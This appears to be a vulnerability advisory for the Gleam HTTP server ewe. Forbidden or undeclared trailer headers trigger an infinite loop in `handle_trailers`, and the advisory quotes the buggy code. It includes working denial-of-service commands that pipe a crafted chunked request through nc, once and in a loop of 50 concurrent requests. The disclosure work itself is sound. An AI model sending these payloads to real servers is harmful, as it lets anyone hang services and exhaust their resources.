Executive brief
## Summary
ewe's `handle_trailers` function contains a bug where rejected trailer headers (forbidden or undeclared) cause an infinite loop. The function recurses with the original unparsed buffer instead of advancing past the rejected header, re-parsing the same header forever. Each malicious request permanently wedges a BEAM process at 100% CPU with no timeout or escape.
## Impact
When `handle_trailers` (`ewe/internal/http1.gleam:493`) encounters a trailer that is either not in the declared trailer set or is blocked by `is_forbidden_trailer`, three code paths (lines 520, 523, 526) recurse with the original buffer `rest` instead of `Buffer(header_rest, 0)`:
```gleam // Line 523 — uses `rest` (original buffer), not `Buffer(header_rest, 0)` (remaining) False -> handle_trailers(req, set, rest) ```
This causes `decoder.decode_packet` to re-parse the same header on every iteration, producing an infinite loop. The BEAM process never yields, never times out, and never terminates.
**Any ewe application that calls `ewe.read_body` on chunked requests is affected.** This is exploitable by any unauthenticated remote client. There is no application-level workaround — the infinite loop is triggered inside `read_body` before control returns to application code.
### Proof of Concept
**Send a chunked request with a forbidden trailer (`host`) to trigger the infinite loop:**
```sh printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 3 localhost 8080 ```
This will hang (no response) until the `nc` timeout. The server-side handler process is stuck forever.
**Exhaust server resources with concurrent requests:**
```sh for i in $(seq 1 50); do printf 'POST / HTTP/1.1\r\nHost: localhost:8080\r\nTransfer-Encoding: chunked\r\nTrailer: host\r\n\r\n4\r\ntest\r\n0\r\nhost: evil.example.com\r\n\r\n' | nc -w 1 localhost 8080 & done ```
Open the Erlang Observer (`observer:start()`) and sort the Processes tab by Reductions to see the stuck processes with continuously climbing reduction counts.
### Vulnerable Code
All three `False`/`Error` branches in `handle_trailers` have the same bug:
```gleam // ewe/internal/http1.gleam, lines 493–531 fn handle_trailers( req: Request(BitArray), set: Set(String), rest: Buffer, ) -> Request(BitArray) { case decoder.decode_packet(HttphBin, rest) { Ok(Packet(HttpEoh, _)) -> req Ok(Packet(HttpHeader(idx, field, value), header_rest)) -> { // ... field name parsing ... case field_name { Ok(field_name) -> { case set.contains(set, field_name) && !is_forbidden_trailer(field_name) { True -> { case bit_array.to_string(value) { Ok(value) -> { request.set_header(req, field_name, value) |> handle_trailers(set, Buffer(header_rest, 0)) // correct } Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 520 } } False -> handle_trailers(req, set, rest) // BUG: line 523 } } Error(Nil) -> handle_trailers(req, set, rest) // BUG: line 526 } } _ -> req } } ```
Affected products
- Erlang ewe